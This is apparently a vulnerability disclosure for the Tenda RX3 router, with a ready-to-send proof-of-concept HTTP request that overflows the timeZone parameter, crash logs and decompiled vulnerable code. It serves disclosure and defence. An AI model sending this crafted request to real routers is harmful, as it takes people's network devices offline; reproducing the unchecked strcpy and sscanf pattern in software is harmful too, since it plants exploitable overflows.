Vendor of the products: Tenda

Affected products: Tenda RX3 US_RX3V1.0br_V16.03.13.11_multi_TDE01

Hardware Link: https://www.tendacn.com/tw/download/detail-3980.html

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda RX3 US_RX3V1.0br_V16.03.13.11_multi_TDE01, triggered by the time and timeZone parameters at /goform/SetSysTimeCfg . This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

```
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1082
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/system_time.html?random=0.8809309975252706&
Cookie: bLanguage=en

timeType=sync&timePeriod=&ntpServer=&timeZone=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag
```

You can see that the router has crashed.

```
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
zsh: segmentation fault  sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Similarly, the time parameter can also trigger this vulnerability.

Router crash

```
[httpd][debug]————————————————————————webs.c,158
httpd listen ip = 192.168.0.1 port = 80
webs: Listening for HTTP requests at address 192.168.0.1
zsh: segmentation fault  sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Code in httpd

In the `fromSetSysTime` function, the value of `timeType` is first retrieved. When the `timeType` value is "sync", the `timeZone` value is obtained. Subsequently, when parsing `timeZone`, both `_isoc99_sscanf` and `strcpy` are used to copy data without implementing any safety checks, ultimately leading to a buffer overflow vulnerability.

```
31  unsigned __int8 tmp[256]; // [sp+80h] [bp-350h] BYREF
32  SNTP_CFG_STRU cfg; // [sp+180h] [bp-250h] BYREF
33  _BYTE v34[276]; // [sp+294h] [bp-13Ch] BYREF
34
35  memset(tmp, 0, sizeof(tmp));
36  memset(&cfg, 0, sizeof(cfg));
37  v4 = websGetVar(wp, (char_t *)"timeType", (char_t *)"sync");
38  if ( !strcmp((const char *)v4, "sync") )
39  {
40    v23 = 48;
41    v27 = 48;
42    v24 = 0;
43    v25 = 0;
44    v26 = 0;
45    v28 = 0;
46    v29 = 0;
47    v30 = 0;
48    v20 = 0;
49    v21 = 0;
50    memset(s, 0, sizeof(s));
51    memset(v34, 0, sizeof(v34));
52    v5 = websGetVar(wp, (char_t *)"timeZone", (char_t *)&byte_7A45B);
53    v6 = websGetVar(wp, (char_t *)"timePeriod", (char_t *)&byte_7A45B);
54    v7 = websGetVar(wp, (char_t *)"ntpServer", (char_t *)"time.windows.com");
55    if ( strchr((const char *)v5, 58) )
56    {
57      _isoc99_sscanf(v5, "%[^:]:%s", &v23, &v27);
58    }
59    else
60    {
61      strcpy((char *)&v23, (const char *)v5);
62      strcpy((char *)&v27, "0");
63    }
64    SetValue("sys.timesyn", "1");
65    SetValue("sys.timemode", "auto");
66    SetValue("sys.timezone", &v23);

00047F24 fromSetSysTime:64 (57F24)
```

Additionally, when `timeType` is "manual", the program retrieves the `time` value and uses `_isoc99_sscanf` to copy the data. Similarly, no safety checks are performed, resulting in a buffer overflow vulnerability.

```
87  {
88    if ( strcmp((const char *)v4, "manual") )
89    {
90LABEL_17:
91      v11 = 0;
92      goto LABEL_18;
93    }
94    memset(s, 0, sizeof(s));
95    v14[0] = 0;
96    v14[1] = 0;
97    v15 = 0;
98    v16[0] = 0;
99    v16[1] = 0;
100   v17 = 0;
101   v18[0] = 0;
102   v18[1] = 0;
103   v19 = 0;
104   v20 = 0;
105   v21 = 0;
106   v22 = 0;
107   v23 = 0;
108   v24 = 0;
109   LOWORD(v25) = 0;
110   v27 = 0;
111   v28 = 0;
112   LOWORD(v29) = 0;
113   v9 = websGetVar(wp, (char_t *)"time", (char_t *)&byte_7A45B);
114   _isoc99_sscanf(v9, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v14, v16, v18, &v20, &v23, &v27);
115   *(_DWORD *)&v34[20] = atoi((const char *)v14) - 1900;
116   *(_DWORD *)&v34[16] = atoi((const char *)v16) - 1;
117   *(_DWORD *)&v34[12] = atoi((const char *)v18);
118   *(_DWORD *)&v34[8] = atoi((const char *)&v20);
119   *(_DWORD *)&v34[4] = atoi((const char *)&v23);
120   *(_DWORD *)v34 = atoi((const char *)&v27);
```